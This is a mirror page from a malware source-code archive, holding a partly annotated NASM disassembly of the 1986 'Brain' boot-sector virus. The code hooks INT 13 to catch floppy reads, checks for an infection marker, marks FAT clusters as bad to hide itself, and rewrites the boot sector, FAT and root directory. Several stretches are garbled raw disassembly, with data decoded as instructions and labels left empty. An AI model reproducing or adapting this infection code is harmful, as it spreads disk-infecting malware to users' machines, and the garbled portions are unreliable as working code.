mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
4b9382ddbc
push
1103 lines
43 KiB
NASM
1103 lines
43 KiB
NASM
The "Pakistani Brain"
|
|
|
|
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
CODE SEGMENT PUBLIC 'CODE' ;
|
|
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
|
|
;
|
|
ORG 0 ;
|
|
;
|
|
BPB EQU 3+8 ;JMP + OEM_NAME
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; COPY OF BOOT SECTOR ;
|
|
;-----------------------------------------------------------------------;
|
|
;
|
|
DB 6 DUP (?) ;
|
|
;
|
|
L0006 DB ? ;HEAD
|
|
L0007 DB ? ;SECTOR
|
|
L0008 DB ? ;TRACK
|
|
;
|
|
L0009 DB ? ;HEAD
|
|
L000A DB ? ;SECTOR
|
|
L000B DB ? ;TRACK
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
;
|
|
ORG 512 ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; (BOOT SECTOR TYPE FORMAT!) ;
|
|
;-----------------------------------------------------------------------;
|
|
CONTINUE: JMP CONTINUE_2 ;023C
|
|
;
|
|
L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION
|
|
;
|
|
DW 512 ;BYTES PER SECTOR
|
|
DB 2 ;SECTORS PER ALLOCATION UNIT
|
|
DW 1 ;RESERVED SECTORS
|
|
L0210 DB 2 ;NUMBER OF FATS
|
|
DW 112 ;NUMBER OF ROOT DIR ENTRIES
|
|
DW 2D0H ;SECTORS PER DISK
|
|
DB 0FDH ;MEDIA ID
|
|
DW 2 ;SECTORS PER FAT
|
|
DW 9 ;SECTORS PER TRACK
|
|
DW 2 ;NUMBER OF HEADS
|
|
DW 0 ;HIDDEN SECTORS
|
|
;
|
|
;---------------------------------------;
|
|
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
|
|
|
|
DB 2
|
|
DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2
|
|
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
REBOOT: INT 19H ;REBOOT
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
CONTINUE_2: ;
|
|
CLI ;
|
|
XOR AX,AX ;
|
|
MOV ES,AX ;ES=0
|
|
MOV SS,AX ;SS:SP = 0000:7C00
|
|
MOV SP,7C00H ;
|
|
MOV DS,AX ;
|
|
MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E)
|
|
MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F
|
|
MOV [7AH],BX ;
|
|
;
|
|
MOV DS,BX ;DS = 07C0
|
|
MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E !
|
|
MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 !
|
|
INT 13H ;RESET
|
|
JNB C_10 ;
|
|
JMP ERROR_2 ;IF ERROR...'BOOT FAILURE'
|
|
;
|
|
C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B
|
|
MOV CX,[SI] ;CX = BYTES PER SECTOR
|
|
SHR CH,1 ;WORDS PER SECTOR
|
|
XCHG CH,CL ;
|
|
MOV [2BH],CX ;SAVE ;BOOT:002B
|
|
MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010
|
|
XOR AH,AH ;
|
|
MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016
|
|
ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E
|
|
ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C
|
|
MOV [24H],AX ;SAVE IT ;BOOT:0024
|
|
MOV BX,7E00H ;
|
|
CALL UI ;
|
|
;
|
|
MOV BX,ES ;SAVE ES
|
|
MOV AX,70H ;ES=0070H
|
|
MOV ES,AX ;
|
|
MOV AX,32 ;32*
|
|
MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+
|
|
MOV CX,[SI] ;
|
|
ADD AX,CX ; BYTES/SECTOR
|
|
DEC AX ; -1
|
|
DIV CX ; /BYTES/SECTOR
|
|
ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT
|
|
;
|
|
MOV CL,[2AH] ;
|
|
MOV AX,[24H] ;
|
|
CALL READ_CLUSTER ;(READ BOOT SECTOR ???)
|
|
;
|
|
PUSH ES ;
|
|
POP DS ;
|
|
JMP 0070H:0000H ;(PASS CONTROL TO ???)
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ;
|
|
; ON ENTRY: AX = ?
|
|
; ES:BX = DTA ;
|
|
; CL = ? ;
|
|
; DS:SI = BPB ;
|
|
; DS:[0021] = ;
|
|
;-----------------------------------------------------------------------;
|
|
READ_CLUSTER: ;02B3
|
|
PUSH BX ;
|
|
PUSH AX ;
|
|
;
|
|
MOV AL,CL ;
|
|
MUL Byte Ptr [2BH] ;
|
|
MOV [29H],AL ;
|
|
POP AX ;
|
|
MUL Word Ptr [2BH] ;
|
|
DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK)
|
|
INC DL ;
|
|
MOV [28H],DL ;
|
|
PUSH DX ;
|
|
XOR DX,DX ;
|
|
DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS)
|
|
MOV [21H],DL ;
|
|
MOV [26H],AX ;
|
|
POP DX ;
|
|
RC_10: MOV CL,[29H] ;
|
|
ADD DL,CL ;
|
|
MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK)
|
|
INC AX ;
|
|
CMP DL,AL ;
|
|
JBE RC_20 ;
|
|
SUB AL,[28H] ;
|
|
MOV CL,AL ;
|
|
RC_20: MOV AL,CL ;
|
|
MOV DX,[26H] ;
|
|
MOV CL,6 ;
|
|
SHL DH,CL ;
|
|
OR DH,[28H] ;
|
|
MOV CX,DX ;
|
|
XCHG CH,CL ;
|
|
MOV DX,[20H] ;
|
|
;
|
|
MOV AH,2 ;READ SECTOR
|
|
PUSH AX ;
|
|
INT 13H ;
|
|
POP AX ;
|
|
JB ERROR_2 ;IF ERROR...'BOOT FAILURE'
|
|
SUB [29H],AL ;
|
|
JBE RC_90 ;
|
|
CBW ;
|
|
MUL Word Ptr [2DH] ;
|
|
ADD BX,AX ;
|
|
INC Byte Ptr [21H] ;
|
|
MOV DL,[21H] ;
|
|
CMP DL,[SI+0FH] ;
|
|
MOV DL,1 ;
|
|
MOV [28H],DL ;
|
|
JB RC_10 ;
|
|
MOV Byte Ptr [21H],0 ;
|
|
INC Word Ptr [26H] ;
|
|
JMP RC_10 ;
|
|
;
|
|
RC_90: POP BX ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ;
|
|
;-----------------------------------------------------------------------;
|
|
ERROR_1: ;0339
|
|
MOV SI,01B3H ;'Non-System disk'
|
|
JMP E_10 ;
|
|
;
|
|
;---------------------------------------;
|
|
ERROR_2: ;
|
|
MOV SI,01C5H ;'BOOT failure'
|
|
E_10: CALL DISPLAY_STRING ;
|
|
;
|
|
MOV SI,01D4H ;'Replace and press any key when ready'
|
|
CALL DISPLAY_STRING ;
|
|
;
|
|
MOV AH,0 ;WAIT FOR A KEY
|
|
INT 16H ;
|
|
E_20: MOV AH,1 ; THROW IT AWAY AND
|
|
INT 16H ; WAIT FOR ANOTHER ONE BUT
|
|
JNZ E_20 ; DONT GET IT
|
|
JMP REBOOT ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; DISPLAY ASCIIZ STRING ;
|
|
; ON ENTRY: DS:SI = ASCIIZ STRING ;
|
|
;-----------------------------------------------------------------------;
|
|
DISPLAY_STRING: ;0357
|
|
DS_00: LODSB ;DISPLAY UNTIL NULL
|
|
OR AL,AL ;
|
|
JZ DS_90 ;
|
|
MOV AH,0EH ;
|
|
MOV BX,7 ;
|
|
INT 10 ;
|
|
JMP DS_00 ;
|
|
DS_90: RET ;0365
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
UI: ;0366:
|
|
MOV CL,01 ;
|
|
CALL READ_CLUSTER ;
|
|
;
|
|
PUSH SI ;
|
|
MOV DI,BX ;
|
|
MOV AX,ES:[BX+1C] ;
|
|
XOR DX,DX ;
|
|
DIV Word Ptr [SI] ;
|
|
INC AL ;
|
|
MOV [002A],AL ;
|
|
MOV SI,019D ;
|
|
MOV CX,000B ;
|
|
REPZ ;
|
|
CMPSB ;
|
|
JNZ ERROR_1 ;'NON SYSTEM DISK'
|
|
MOV AX,ES:[BX+3A] ;
|
|
MOV [0022],AX ;
|
|
MOV DI,BX ;
|
|
ADD DI,+20 ;
|
|
MOV SI,01A8 ;
|
|
MOV CX,000B ;
|
|
REPZ ;
|
|
CMPSB ;
|
|
JNZ ERROR_1 ;'NON SYSTEM DISK'
|
|
POP SI ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L039D DB 'IBMBIO COM'
|
|
DB 'IBMDOS COM'
|
|
DB CR,LF,'Non-System disk',0
|
|
DB CR,LF,'BOOT failure',0
|
|
DB CR,LF,'Replace and press any key when ready',0
|
|
DB 90H,90H,90H,55H,0AAH
|
|
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0400: JMP SHORT CONT_A ;
|
|
;
|
|
DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
CONT_A: ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0A5B DB 'IBMBIO COM'
|
|
DB 'IBMDOS COM'
|
|
DB CR,LF,'Non-System disk',0
|
|
DB CR,LF,'BOOT failure',0
|
|
DB CR,LF,'Replace and press any key when ready',0
|
|
DB 90H,90H,90H,55H,0AAH
|
|
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
ADD AL,00 ;0425 0400
|
|
ADD [06C6],CH ;0427 002EC606
|
|
AND AX,1F02 ;042B 25021F
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
REDIRECT_13: ;042E
|
|
XOR AX,AX ;GET INT 13 VECTOR
|
|
MOV DS,AX ;
|
|
MOV AX,[004CH] ;
|
|
MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR)
|
|
MOV AX,[004EH] ;
|
|
MOV [01B6H],AX ;
|
|
MOV AX,0276H ;SET INT 13 VECTOR
|
|
MOV [004CH],AX ;
|
|
MOV AX,CS ;
|
|
MOV [004EH],AX ;
|
|
;
|
|
MOV CX,0004 ;RETRY = 4
|
|
XOR AX,AX ;
|
|
MOV ES,AX ;
|
|
L0450: PUSH CX ;
|
|
MOV DH,CS:[0006] ;DH = HEAD
|
|
MOV DL,00 ;DRIVE A:
|
|
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
|
|
MOV AX,0201 ;READ 1 SECTOR
|
|
MOV BX,7C00 ;ES:BX == DTA = 0000:7C00
|
|
INT 6DH ;
|
|
JNB L0470 ;
|
|
MOV AH,00 ;RESET
|
|
INT 6DH ;
|
|
POP CX ;TRY AGAIN
|
|
LOOP L0450 ;
|
|
INT 18H ;LOAD BASIC
|
|
;
|
|
L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?!
|
|
;
|
|
NOP ;0475 90
|
|
STI ;0476 FB
|
|
CMP AH,02 ;0477 80FC02
|
|
JNZ L0494 ;047A 7518
|
|
CMP DL,02 ;047C 80FA02
|
|
JA L0494 ;047F 7713
|
|
CMP CH,00 ;0481 80FD00
|
|
JNZ L048B ;0484 7505
|
|
CMP DH,00 ;0486 80FE00
|
|
JZ L0497 ;0489 740C
|
|
L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502
|
|
JNZ L0494 ;0490 7502
|
|
JMP L0497 ;0492 EB03
|
|
L0494: JMP L053C ;0494 E9A500
|
|
L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200
|
|
MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204
|
|
PUSH AX ;04A3 50
|
|
PUSH BX ;04A4 53
|
|
PUSH CX ;04A5 51
|
|
PUSH DX ;04A6 52
|
|
MOV CS:[0226],DL ;04A7 2E88162602
|
|
MOV CX,0004 ;04AC B90400
|
|
PUSH CX ;04AF 51
|
|
MOV AH,00 ;04B0 B400
|
|
INT 6D ;04B2 CD6D
|
|
JB ;04CB ;04B4 7215
|
|
MOV DH,00 ;04B6 B600
|
|
MOV CX,0001 ;04B8 B90100
|
|
MOV BX,06BE ;04BB BBBE06
|
|
PUSH ES ;04BE 06
|
|
MOV AX,CS ;04BF 8CC8
|
|
MOV ES,AX ;04C1 8EC0
|
|
MOV AX,0201 ;04C3 B80102
|
|
INT 6D ;04C6 CD6D
|
|
POP ES ;04C8 07
|
|
JNB ;04D1 ;04C9 7306
|
|
POP CX ;04CB 59
|
|
LOOP ;04AF ;04CC E2E1
|
|
JMP ;04FF ;04CE EB2F
|
|
NOP ;04D0 90
|
|
POP CX ;04D1 59
|
|
MOV AX,CS:[06C2] ;04D2 2EA1C206
|
|
CMP AX,1234 ;04D6 3D3412
|
|
JNZ ;04E3 ;04D9 7508
|
|
MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201
|
|
JMP ;0503 ;04E1 EB20
|
|
PUSH DS ;04E3 1E
|
|
PUSH ES ;04E4 06
|
|
MOV AX,CS ;04E5 8CC8
|
|
MOV DS,AX ;04E7 8ED8
|
|
MOV ES,AX ;04E9 8EC0
|
|
PUSH SI ;04EB 56
|
|
CALL L0804 ;04EC E81503
|
|
JB ;04FA ;04EF 7209
|
|
MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202
|
|
CALL L06B2 ;04F7 E8B801
|
|
POP SI ;04FA 5E
|
|
POP ES ;04FB 07
|
|
POP DS ;04FC 1F
|
|
JNB ;0503 ;04FD 7304
|
|
MOV AH,00 ;04FF B400
|
|
INT 6D ;0501 CD6D
|
|
POP DX ;0503 5A
|
|
POP CX ;0504 59
|
|
POP BX ;0505 5B
|
|
POP AX ;0506 58
|
|
CMP CX,+01 ;0507 83F901
|
|
JNZ L053C ;050A 7530
|
|
CMP DH,00 ;050C 80FE00
|
|
JNZ L053C ;050F 752B
|
|
CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201
|
|
JNZ ;052A ;0517 7511
|
|
MOV CX,CS:[06C5] ;0519 2E8B0EC506
|
|
MOV DX,CS:[06C3] ;051E 2E8B16C306
|
|
MOV DL,CS:[0226] ;0523 2E8A162602
|
|
JMP L053C ;0528 EB12
|
|
CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202
|
|
JNZ L053C ;0530 750A
|
|
;
|
|
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
|
|
MOV DH,CS:[0006] ;DH = HEAD
|
|
L053C: INT 6DH ;
|
|
RETF 2 ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0550: JMP CONTINUE_3 ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0553 DW 3 ;
|
|
DB ' (c) 1986 Basit & Amjads (pvt) Ltd'
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
CONTINUE_3: ;0577
|
|
CALL READ_VERIFY ;READ VERIFY
|
|
MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS...
|
|
CMP AX,0FFFDH ;
|
|
JE L0586 ;...CONTINUE
|
|
MOV AL,3 ;ELSE RETURN ??? ERROR
|
|
STC ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
L0586: ;0586
|
|
MOV CX,0037 ;
|
|
MOV Word Ptr [0353],0000 ;
|
|
CALL ;05F8 ;058F E86600
|
|
CMP AX,0000 ;0592 3D0000
|
|
JNZ ;05A5 ;0595 750E
|
|
INC Word Ptr [0353] ;0597 FF065303
|
|
CMP Word Ptr [0353],+03 ;059B 833E530303
|
|
JNZ ;05AB ;05A0 7509
|
|
JMP ;05B6 ;05A2 EB12
|
|
NOP ;05A4 90
|
|
MOV Word Ptr [0353],0000 ;05A5 C70653030000
|
|
INC CX ;05AB 41
|
|
CMP CX,0163 ;05AC 81F96301
|
|
JNZ ;058F ;05B0 75DD
|
|
MOV AL,01 ;05B2 B001
|
|
STC ;05B4 F9
|
|
RET ;05B5 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
MOV DL,03 ;05B6 B203
|
|
CALL ;05CB ;05B8 E81000
|
|
DEC CX ;05BB 49
|
|
DEC DL ;05BC FECA
|
|
JNZ ;05B8 ;05BE 75F8
|
|
INC CX ;05C0 41
|
|
CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD
|
|
CALL ;062D ;05C4 E86600
|
|
MOV AL,00 ;05C7 B000
|
|
CLC ;05C9 F8
|
|
RET ;05CA C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
PUSH CX ;05CB 51
|
|
PUSH DX ;05CC 52
|
|
MOV SI,06BE ;05CD BEBE06
|
|
MOV AL,CL ;05D0 8AC1
|
|
SHR AL,1 ;05D2 D0E8
|
|
JB ;05E4 ;05D4 720E
|
|
CALL FUNCTION_1 ;BX = (CX*3)/2
|
|
MOV AX,[BX+SI] ;05D9 8B00
|
|
AND AX,F000 ;05DB 2500F0
|
|
OR AX,0FF7 ;05DE 0DF70F
|
|
JMP ;05EF ;05E1 EB0C
|
|
NOP ;05E3 90
|
|
CALL FUNCTION_1 ;BX = (CX*3)/2
|
|
MOV AX,[BX+SI] ;05E7 8B00
|
|
AND AX,000F ;05E9 250F00
|
|
OR AX,FF70 ;05EC 0D70FF
|
|
MOV [BX+SI],AX ;05EF 8900
|
|
MOV [BX+SI+0400],AX ;05F1 89800004
|
|
POP DX ;05F5 5A
|
|
POP CX ;05F6 59
|
|
RET ;05F7 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
PUSH CX ;05F8 51
|
|
MOV SI,06BE ;05F9 BEBE06
|
|
MOV AL,CL ;05FC 8AC1
|
|
SHR AL,1 ;05FE D0E8
|
|
JB L060D ;0600 720B
|
|
CALL FUNCTION_1 ;BX = (CX*3)/2
|
|
MOV AX,[BX+SI] ;0605 8B00
|
|
AND AX,0FFF ;0607 25FF0F
|
|
JMP L0619 ;060A EB0D
|
|
;
|
|
L060D: CALL FUNCTION_1 ;BX = (CX*3)/2
|
|
MOV AX,[BX+SI] ;0610 8B00
|
|
AND AX,FFF0 ;0612 25F0FF
|
|
MOV CL,04 ;0615 B104
|
|
SHR AX,CL ;0617 D3E8
|
|
L0619: POP CX ;0619 59
|
|
RET ;061A C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; BX = (CX*3)/2 ;
|
|
;-----------------------------------------------------------------------;
|
|
FUNCTION_1: ;061B
|
|
PUSH DX ;
|
|
MOV AX,3 ;
|
|
MUL CX ;
|
|
SHR AX,1 ;
|
|
MOV BX,AX ;
|
|
POP DX ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
READ_VERIFY: ;0627
|
|
MOV AH,2 ;
|
|
CALL VERIFY_SECTORS ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
WRITE_VERIFY: ;062D
|
|
MOV AH,03 ;
|
|
CALL VERIFY_SECTORS ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
VERIFY_SECTORS: ;0633
|
|
MOV CX,4 ;RETRY = 4
|
|
L0636: PUSH CX ;
|
|
PUSH AX ;
|
|
MOV AH,0 ;REST
|
|
INT 6DH ;
|
|
POP AX ;
|
|
JB L0653 ;
|
|
MOV BX,offset L06BEH ;
|
|
MOV AL,4 ;4==VERIFY
|
|
MOV DH,00 ;HEAD 0
|
|
MOV DL,[0226] ;DRIVE DL
|
|
MOV CX,0002 ;TRACK 0/SECTOR 2
|
|
PUSH AX ;
|
|
INT 6DH ;
|
|
POP AX ;
|
|
JNB L065C ;IF ERROR...EXIT
|
|
L0653: POP CX ;
|
|
LOOP L0636 ;RETRY
|
|
POP AX ;
|
|
POP AX ;
|
|
MOV AL,2 ;BAD ADDRESS MARK ???
|
|
STC ;RETURN ERROR
|
|
RET ;
|
|
;
|
|
L065C: POP CX ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ;
|
|
;-----------------------------------------------------------------------;
|
|
CONVERT_1: ;065E
|
|
PUSH CX ;
|
|
SUB CX,2 ;
|
|
SHL CX,1 ;WORD PTR
|
|
ADD CX,9*2 ; (SECTORS PER CYLINDER ???)
|
|
MOV AX,CX ;
|
|
MOV CL,9*2 ; (SECTORS PER CYLINDER ???)
|
|
DIV CL ;
|
|
MOV DS:[0008],AL ;AL = TRACK
|
|
MOV Byte Ptr DS:[0006],0 ;INC. HEAD
|
|
INC AH ;INC. SECTOR
|
|
CMP AH,9 ;IF TOO BIG...
|
|
JBE L0684 ;
|
|
SUB AH,9 ;...START AT ZERO
|
|
MOV Byte Ptr DS:[0006],1 ;INC. HEAD
|
|
L0684: MOV DS:[0007],AH ;
|
|
POP CX ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
ADD [BX+SI],AL ;068A 0000
|
|
ADD [BX+SI],AL ;068C 0000
|
|
ADD [BX+SI],AL ;068E 0000
|
|
ADD BP,[SI+00] ;0690 036C00
|
|
ADD AX,[BP+DI] ;0693 0303
|
|
MOV SI,010E ;0695 BE0E01
|
|
ADD [BX+SI],AL ;0698 0000
|
|
ADD AX,SP ;069A 01E0
|
|
FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0
|
|
LAHF ;06A0 9F
|
|
LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E
|
|
LOOPNZ ;06C7 ;06A5 E020
|
|
SUB [BP+DI+29],AH ;06A7 286329
|
|
AND [BP+SI+72],AL ;06AA 204272
|
|
POPA ;06AD 61
|
|
IMUL BP,[BP+20],E824 ;06AE 696E2024E8
|
|
FILD DWord Ptr [BX+SI] ;06B3 DB00
|
|
JB L06C1 ;06B5 720A
|
|
PUSH DI ;06B7 57
|
|
CALL ;06DA ;06B8 E81F00
|
|
POP DI ;06BB 5F
|
|
JB L06C1 ;06BC 7203
|
|
CALL WRITE_RBF ;WRITE ROOT BOOT FAT
|
|
L06C1: RET ;06C1 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
MOV BX,049B ;06C2 BB9B04
|
|
MOV CX,000B ;
|
|
L06C8: MOV AL,[BX] ;
|
|
NEG AL ;
|
|
MOV [SI],AL ;
|
|
INC SI ;
|
|
INC BX ;
|
|
LOOP L06C8 ;
|
|
;
|
|
MOV AL,08 ;
|
|
MOV [SI],AL ;
|
|
CLC ;
|
|
RET ;06D7 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
MOV Byte Ptr [06C7],91 ;06D8 C606C70691
|
|
ADD AL,6C ;06DD 046C
|
|
ADD [BP+06FE],BH ;06DF 00BEFE06
|
|
MOV [0493],DX ;06E3 89169304
|
|
MOV AX,[0491] ;06E7 A19104
|
|
SHR AX,1 ;06EA D1E8
|
|
MOV [0497],AX ;06EC A39704
|
|
SHR AX,1 ;06EF D1E8
|
|
MOV [0495],AX ;06F1 A39504
|
|
XCHG AX,CX ;06F4 91
|
|
AND CL,43 ;06F5 80E143
|
|
MOV DI,[0495] ;06F8 8B3E9504
|
|
ADD DI,01E3 ;06FC 81C7E301
|
|
MOV AL,[SI] ;0700 8A04
|
|
CMP AL,00 ;0702 3C00
|
|
JZ ;071B ;0704 7415
|
|
MOV AL,[SI+0B] ;0706 8A440B
|
|
AND AL,08 ;0709 2408
|
|
CMP AL,08 ;070B 3C08
|
|
JZ ;071B ;070D 740C
|
|
ADD SI,+20 ;070F 83C620
|
|
DEC Word Ptr [0491] ;0712 FF0E9104
|
|
JNZ ;0700 ;0716 75E8
|
|
STC ;0718 F9
|
|
RET ;0719 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
: ;071A
|
|
MOV CX,[BP+DI+331D] ;
|
|
PUSH DS ;071E 1E
|
|
XCHG AX,DI ;071F 97
|
|
ADD AL,89 ;0720 0489
|
|
XCHG AX,DI ;0722 3697
|
|
ADD AL,FA ;0724 04FA
|
|
MOV AX,SS ;0726 8CD0
|
|
MOV SS:[0493],AX ;0728 A39304
|
|
MOV [0495],SP ;072B 89269504
|
|
MOV AX,CS ;072F 8CC8
|
|
MOV SS,AX ;0731 8ED0
|
|
MOV SP,[0497] ;0733 8B269704
|
|
ADD SP,+0C ;0737 83C40C
|
|
MOV CL,51 ;073A B151
|
|
ADD DX,444C ;073C 81C24C44
|
|
MOV DI,2555 ;0740 BF5525
|
|
MOV CX,0C03 ;0743 B9030C
|
|
REPZ ;0746 F3
|
|
CMPSW ;0747 A7
|
|
MOV AX,0B46 ;0748 B8460B
|
|
MOV CX,0003 ;074B B90300
|
|
ROL AX,CL ;074E D3C0
|
|
MOV [0497],AX ;0750 A39704
|
|
MOV CX,0005 ;0753 B90500
|
|
MOV DX,0008 ;0756 BA0800
|
|
SUB Word Ptr [0497],5210 ;0759 812E97041052
|
|
PUSH [0497] ;075F FF369704
|
|
L0763: MOV AH,[BX] ;0763 8A27
|
|
INC BX ;0765 43
|
|
MOV DL,AH ;0766 8AD4
|
|
SHL DL,1 ;0768 D0E2
|
|
JB L0763 ;076A 72F7
|
|
L076C: MOV DL,[BX] ;076C 8A17
|
|
INC BX ;076E 43
|
|
MOV AL,DL ;076F 8AC2
|
|
SHL DL,1 ;0771 D0E2
|
|
JB L076C ;0773 72F7
|
|
ADD AX,1D1D ;0775 051D1D
|
|
PUSH AX ;0778 50
|
|
INC Word Ptr [0497] ;0779 FF069704
|
|
JNB L0780 ;077D 7301
|
|
JMP 268B:E1E2 ;077F EAE2E18B26
|
|
;
|
|
XCHG AX,BP ;0784 95
|
|
ADD AL,A1 ;0785 04A1
|
|
XCHG AX,BX ;0787 93
|
|
ADD AL,8E ;0788 048E
|
|
SAR BL,1 ;078A D0FB
|
|
ADD DH,[BP+SI] ;078C 0232
|
|
CLC ;078E F8
|
|
RET ;078F C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; READ ROOT, BOOT, FIRST FAT ;
|
|
;-----------------------------------------------------------------------;
|
|
READ_RBF: ;0790
|
|
MOV Byte Ptr [0490],02 ;COMMAND = READ
|
|
JMP ROOT_BOOT_FAT ;DO IT
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; WRITE ROOT, BOOT, FIRST FAT ;
|
|
;-----------------------------------------------------------------------;
|
|
WRITE_RBF: ;0798
|
|
MOV Byte Ptr [0490],03 ;COMMAND = WRITE
|
|
JMP ROOT_BOOT_FAT ;DO IT
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; READ OR WRITE ROOT, BOOT, FIRST FAT ;
|
|
;-----------------------------------------------------------------------;
|
|
ROOT_BOOT_FAT: ;07A0
|
|
MOV DH,0 ;HEAD = 0
|
|
MOV DL,[226H] ;DL = DRIVE
|
|
MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
|
|
MOV AH,[490H] ;AH = COMMAND
|
|
MOV AL,4 ;4 SECTORS
|
|
MOV BX,6BEH ;ES:BX = DTA
|
|
CALL RESET_DO_IT ;GO TO DISK
|
|
JB L07C9 ;IF ERROR...EXIT
|
|
;
|
|
MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1
|
|
MOV DH,1 ;HEAD 1
|
|
MOV AH,[490H] ;AH = COMMAND
|
|
MOV AL,3 ;3 SECTORS
|
|
ADD BX,800H ;ES:BX = DTA
|
|
CALL RESET_DO_IT ;GO TO DISK
|
|
L07C9: RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ;
|
|
;-----------------------------------------------------------------------;
|
|
RESET_DO_IT: ;07CA
|
|
MOV [0493],AX ;
|
|
MOV [0495],BX ;SAVE REGs
|
|
MOV [0497],CX ;
|
|
MOV [0499],DX ;
|
|
